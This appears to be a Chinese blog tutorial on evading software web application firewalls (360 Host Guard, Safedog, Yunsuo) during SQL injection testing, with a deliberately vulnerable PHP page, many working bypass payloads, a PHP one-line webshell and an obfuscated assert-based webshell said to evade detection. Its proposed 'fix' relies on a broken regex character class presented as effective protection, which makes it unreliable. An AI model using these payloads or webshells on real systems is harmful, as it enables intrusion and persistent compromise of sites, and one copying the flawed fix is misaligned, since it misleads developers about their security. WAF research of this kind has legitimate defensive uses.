全方位绕过软WAF攻略
0×00 前言
现在软waf较为多,就在今年夏天苦逼挖洞的日子里经常遇到360主机卫士,安全狗,云锁之类的软waf进行拦截,经常碰到如下拦截提示:
看到以上三个拦截提示就让人头疼不已,欲罢不能。
so,就在网上搜索各种绕过waf的资料,终于我结合了网上的文章以及自己的测试思路,写下了这篇文章。
0×01 数据库特性
/**/
;
‘
“
#
–
– +
– -
+
-
+、-执行结果:
–、– -、– +、#执行结果:
/**/执行结果:
0×02 拦截情况
SQL注入代码:
header('content-type:text/html;chaset=utf-8');
ini_set('display_errors',1);
$mysqli = new mysqli('localhost', 'root','','ow');
$id = $_GET["id"];
$sql = "select * from news where id=".$id;
$result = $mysqli->query($sql);
if($result === false){//执行失败
echo $mysqli->error;
echo $mysqli->errno;
}
else
{
echo '<h1>'.$sql.'<h1>';
echo '<hr><table border="1px" align="center">';
echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
while($row = $result->fetch_assoc()){
echo '<tr>';
echo '<td>'.$row['id'].'</td>';
echo '<td>wait</td>';
echo '<td>'.$row['content'].'</td>';
echo '</tr>';
}
echo '</table>';
}
$mysqli->close();
30主机卫士测试:
‘:不拦截
“:不拦截
and 1=1:拦截
and 1:不拦截
and 1 like 1:不拦截
and/**/1=1:不拦截
and ’1′=’1′:拦截
and 1<>2:不拦截
union select:拦截
union/**/select:拦截
union(select):拦截
union+form:不拦截
0×03 揣测匹配规则
and匹配规则:
初步设想and匹配规则:
and%20\d+=\d+:
根据以上正则,\d+是匹配多个数字,但是将数字改成字符串后还是被拦截。
进阶设想and匹配规则:
and%20(.)+=(.)+:
本次设想规则,也可以证实了上述测试中的and 1=1,将请求包中的and%20′s’='s’改为and/**/’s'=’s',360主机卫士不会拦截
同样的将and/**/’s'=’s'改为and+’s'=’s’
咱们同样将and+’s'=’s'改为and+1=1
这样咱们进阶设想and 1=1的匹配规则就可以相对来说是成立的,既然可以用这样的形式来进行绕过,咱们可以得出一种过waf的姿势了
我们可以使用布尔盲注得到网站表中的数据了。
首先来查看库名:
语句and+’ow’=database/**/()
查出了相对应的库名ow
当然咱们主要是以绕过软waf为主,所以这里的布尔盲注就不做详细的测试了
union select匹配规则
初步设想union%20select%20\d+,\d+
咱们还是将%20替换掉,改为union+select+1,2
初步设想失败,咱们继续测试
进阶设想:
union(.)+select(.)+\d+,\d+%20
这里还是匹配到了,基本上对于这样的匹配规则,已经是无从遁形了
我们的设想几乎没有任何错误,union select的匹配规则相对的来说基本上是这样了。
0×04 提交方式绕过
可以看到数据包都是以GET方式传递的,咱们将GET提交方式改为POST,看看结果如何:
可以看到这里咱们将攻击PYLOAD执行过去之后,并没有被拦截,这个原理很简单,程序首先判断是什么方式请求
然后对应的拦截请求,我们发送POST请求的时候,在请求体中没有发现恶意攻击请求,然而并没有检测url上的攻
击POLOAD,所以就直接绕过了360主机卫士。当然不单单只是360主机卫士存在这个问题。
云锁:
GET请求
POST请求
到此绕过360主机卫士就有了两种姿势,云锁也得到了1个姿势,最便捷的一个姿势
0×05 资源限制角度绕过
这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。
360安全卫士测试,将sql注入代码里的$GET["id"]改为$POST["id"],接着测试:
还是会被拦截,我们在攻击pyload之前加入较多的无用字符
我在攻击Pyload之前加入了789个字符后,360主机卫士并没又进行拦截,然后咱们将这里的无用字符用/**/包裹起来
我们将这里的无用字符精简一下,精简之后到485个字符及可绕过360主机卫士。
我们再来看看云锁
云锁遇到POST请求直接不用绕了。
安全狗:
安全狗的以这样的方式与360主机卫士类似。到此处为止360主机卫士有了3种姿势,安全狗有了第一种姿势,云锁有了两种姿势。
0×05 测试安全狗、云锁用/**/绕过
我们已以数据库特性为主来进行测试,//执行出来就是一个空格,用//对安全狗、云锁来绕过并注入
对安全狗测试:
Pyload:union//select//1,2
Pyload:union/*********/select/*********/1,2
测试到这里咱们在Pyload中加入字母,符号等等一些东西
Pyload:union/**sssssssssssssssss”‘*****/select/*****sssssssssssssssss”‘****/1,2
使用当前pyload成功的绕过了安全狗,咱们精简下pyload:
Pyload:union/**“‘*****/select/*****”‘****/1,2
当我们将字符去掉之后,被拦截了,说明安全狗在匹配/**/的时候,会匹配符号不会匹配字符,改下Pyload
Pyload:union/**s*****/select/*****s****/1,2
我们将这个*精简一下,得到如下Pyload
Pyload:union/s**/select/s**/1,2
对于安全狗使用/*/绕过的时候,右边的必须大于或等于2个*号,中间的字符串必须大于或等于1个字母的时候即可绕过安全狗
云锁测试:
根据以上测试安全狗的姿势来测试云锁/*s**/
Pload:union/s**/select/s**/1,2
我们改一下Pyload,给它加上符号试试
Pyload:union/s’”/select/s’”/1,2
成功绕过云锁,精简下Pyload
Pyload:union/’/select/’/1,2
对于云锁用/**/绕过的时候只要在其中加入‘就可以绕过
通过上面的绕过姿势,当360主机卫士、云锁、安全狗结合在一起的时候可得出如下姿势
Pyload:union/w’**/select/w’**/1,2
并将以上pyload通过post方式提交及可绕过。
0×06 SQL注入漏洞修复
<?php
header('content-type:text/html;chaset=utf-8');
ini_set('display_errors',1);
$mysqli = new mysqli('localhost', 'root','','ow');
$id = $_GET["id"];
$sql = "select * from news where id=".$id;
$result = $mysqli->query($sql);
if($result === false){//执行失败
echo $mysqli->error;
echo $mysqli->errno;
}
else
{
echo '<h1>'.$sql.'<h1>';
echo '<hr><table border="1px" align="center">';
echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
while($row = $result->fetch_assoc()){
echo '<tr>';
echo '<td>'.$row['id'].'</td>';
echo '<td>wait</td>';
echo '<td>'.$row['content'].'</td>';
echo '</tr>';
}
echo '</table>';
}
$mysqli->close();
?>
修复之后:
<?php
header('content-type:text/html;chaset=utf-8');
ini_set('display_errors',1);
$mysqli = new mysqli('localhost', 'root','','ow');
$id = injection_defense($_GET["id"]);
$sql = "select * from news where id=".$id;
if($id)
{
$result = $mysqli->query($sql);
if($result === false){//执行失败
echo $mysqli->error;
echo $mysqli->errno;
}
else
{
echo '<h1>'.$sql.'<h1>';
echo '<hr><table border="1px" align="center">';
echo '<tr><th>ID</th><th>a</th><th>内容</th></tr>';
while($row = $result->fetch_assoc()){
echo '<tr>';
echo '<td>'.$row['id'].'</td>';
echo '<td>wait</td>';
echo '<td>'.$row['content'].'</td>';
echo '</tr>';
}
echo '</table>';
}
}
$mysqli->close();
function injection_defense($str)
{
if(preg_match('/[all|select|union|update|delete|\/|*| |and|ascii|form|where|=|\'|"|order]+/i', $str))
{
echo '请勿恶意攻击';
}
else
{
return $str;
}
}
?>
这样就可以很有效的防止SQL注入
0×07 PHP一句话原理分析
PHP一句话原型:
<?php @eval($_POST["ceshi"]);?>
一句话的原型可分为两部分
@eval():函数部分
$_POST["ceshi"]:传值部分
原理分析:
在还没有接触编程的时候,很想知道为什么一句话木马功能这么齐全呢?既可以上传文件也能下载文件,还能写入文件,这是为什么呢?
咱们以这个写入文件为主,其实实现各种功能都是使用语言中的内置函数来完成该功能。
file_put_contens():写入文件操作
函数使用file_put_contents(文件名,文件内容) 执行之后,当前目录中就出现了shateaa.php文件,访问看看是不是输出为1
0×08 PHP免杀一句话编写
<?php @eval($_GET["a"]);?>:查杀
<?php @eval($_POST["a"]);?>:查杀
<?php @eval($_REQUEST["a"]);?>:查杀
<?php @eval($_COOKIE["a"]);?>:查杀
<?php @eval();?>:不查杀
<?php @assert();?>:不查杀
根据以上查杀情况,我们得出一个结论:单个代码执行的函数安全狗是不会杀的, 只有当有了外界的可控传参的时候才会被杀掉。
咱们继续来测试,既然已经知道了,我们就可以就事论事,不让软waf检测到我们有传参即可
<?php
$arr = [$_POST["ceshi"],$_REQUEST["ceshi"]];
@assert($arr[mt_rand(0,1)]);
?>
可绕过安全狗,360主机卫士。尽量不要使用eval代码执行函数,要使用和他功能相同的assert()函数,能完成相同的功能
0×09 关键字函数替换
通过GET传递函数会被匹配到360主机卫士的关键函数里,所以我们只需要改为phpinfo/**/(),这样就可以绕过
通过POST传递关键函数可以直接绕过
0×10 总结
一个好WAF并不是吹出来的,而是实践出来的。研究waf的绕过,并不是为了去攻击某某网站,而是为了提高waf的防御能力。
当然我们不能仅仅停留在一个层面上,更要明白其漏洞原理,在代码层面上就将其修复,而不是事事靠第三方软件的防御。究其
根本也希望做waf的厂商看到此类文章,修复自己waf存在的问题。
全方位绕过软WAF攻略的更多相关文章
- win7绕过开机密码攻略
访问windows机器,经常会因为忘记了开机密码而苦恼.当然你也可以选择重装,这样最简单粗暴.如果有重要数据保存在C盘之类的(个人严重推荐不要保存到C盘),那就不是重装能解决的问题了.2014年12月 ...
- 2019阿里云开年Hi购季基础云产品分会场全攻略!
2019阿里云云上Hi购季活动已经于2月25日正式开启,从已开放的活动页面来看,活动分为三个阶段: 2月25日-3月04日的活动报名阶段.3月04日-3月16日的新购满返+5折抢购阶段.3月16日-3 ...
- 【C#代码实战】群蚁算法理论与实践全攻略——旅行商等路径优化问题的新方法
若干年前读研的时候,学院有一个教授,专门做群蚁算法的,很厉害,偶尔了解了一点点.感觉也是生物智能的一个体现,和遗传算法.神经网络有异曲同工之妙.只不过当时没有实际需求学习,所以没去研究.最近有一个这样 ...
- 30天,O2O速成攻略【8.15长沙站】
活动概况 时间:2015年08月15日13:30-16:30 地点:库可咖啡(长沙市岳麓区阜埠河路139号天马都乐街,湖南大学天马学生公寓东侧) 主办:APICloud.爱立示.兰软 网址:www.a ...
- IOS面试攻略
IOS面试攻略(1.0) 2013-10-13 20:58:09| 分类: IOS面试 | 标签:ios知识点总汇 ios面试 |举报|字号 订阅 来自:伊甸网 @ 看到这个关键字,我 ...
- UBER人民优步司机注册攻略
注意:本文驾驶证行驶证图片为本人拍摄,请广大网友勿作它用 转载请修改! 详细的介绍注册优步uber司机端步骤; uber对司机的要求: 车辆为本地牌照 车龄在5年以内 裸车价格在10万以上 目 ...
- 怎样注册uber司机 如何注册uber司机 最新详细攻略
怎样注册uber司机 如何注册加入uber司机 全国加入Uber 的要求 车辆要求:要求裸车价8万以上,车龄5年以内,第三者责任险保额30万以上,不支持20万以下的面包车/商务车,不支持4座以下车辆. ...
- 圣魔大战3(Castle Fantisia)艾伦希亚战记完美攻略
作为城堡幻想曲系列续作,艾伦希亚战记继承了前作的战棋+养成模式进行游戏. (城堡幻想曲3,纠正大家个错误哦,不是圣魔大战3,圣魔大战是城堡幻想曲2,圣魔大战不是个系列,艾伦西亚战记==艾伦希亚战记,一 ...
- Cross-Site Scripting XSS 跨站攻击全攻略 分类: 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏
原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...
随机推荐
- mantisbt邮件配置
PHP.INI里面 [mail function]; For Win32 only.#SMTP = 192.168.0.249SMTP = smtp.163.comsmtp_port = 25 ; F ...
- 聊聊、Nginx GDB与MAIN
上一篇文章主要介绍了 Nginx 在 Window 和 Linux 平台上的安装.本章节主要介绍 Nginx 源码学习方法和源码结构,以及 Nginx 启动时 main 方法的位置,参数信息.后面的章 ...
- [持续集成学习篇]【1】[jenkins安装与配置]
Guided Tour This guided tour will use the "standalone" Jenkins distribution which requires ...
- DS博客作业06——图
1.本周学习总结(0--2分) 1.思维导图 2.谈谈你对图结构的认识及学习体会. 这章学习了图,学习了图的两种存储结构:邻接矩阵和邻接表.这两种存储结构都用到了之前学c时学到的结构体,将结构体充分运 ...
- How to use MJRefresh
Installation with CocoaPods:pod 'MJRefresh' Manual import: Drag All files in the MJRefresh folder to ...
- 【Luogu】P2045方格取数加强版(最小费用最大流)
题目链接 通过这题我学会了引诱算法的行为,就是你通过适当的状态设计,引诱算法按照你想要它做的去行动,进而达到解题的目的. 最小费用最大流,首先将点拆点,入点和出点连一条费用=-权值,容量=1的边,再连 ...
- wampSever的mysql操作
单击wampserver图标,选择mysql console 输入密码 123qwe,root用户默认密码为空 mysql客户端管理工具使用wampserver自带的phpmyadmin
- POJ 2228 naptime
环形DP 先考虑如果只是一天,我们可以用线性DP写出转移方程,注意初始化 如果是一个环的话,我们发现少了一种第n天和第一天连起来的情况,那么我们就再进行一次DP 强制这种情况 #include < ...
- UVa1476 Error Curves
画出函数图像后,发现是一个类似V字型的图. 可以用三分法找图像最低点 WA了一串,之后发现是读入优化迷之被卡. /*by SilverN*/ #include<iostream> #inc ...
- 【CF1023B】Pair of Toys(解方程)
题意:给定n个玩具要你选出两个玩具求出k的价值,第i个玩具的价值为i.若是没有选择方案,输出0 补充:玩具A与玩具B 和 玩具B和玩具A 是同一种选择 n,k<=1e14 思路:列出式子,解不等 ...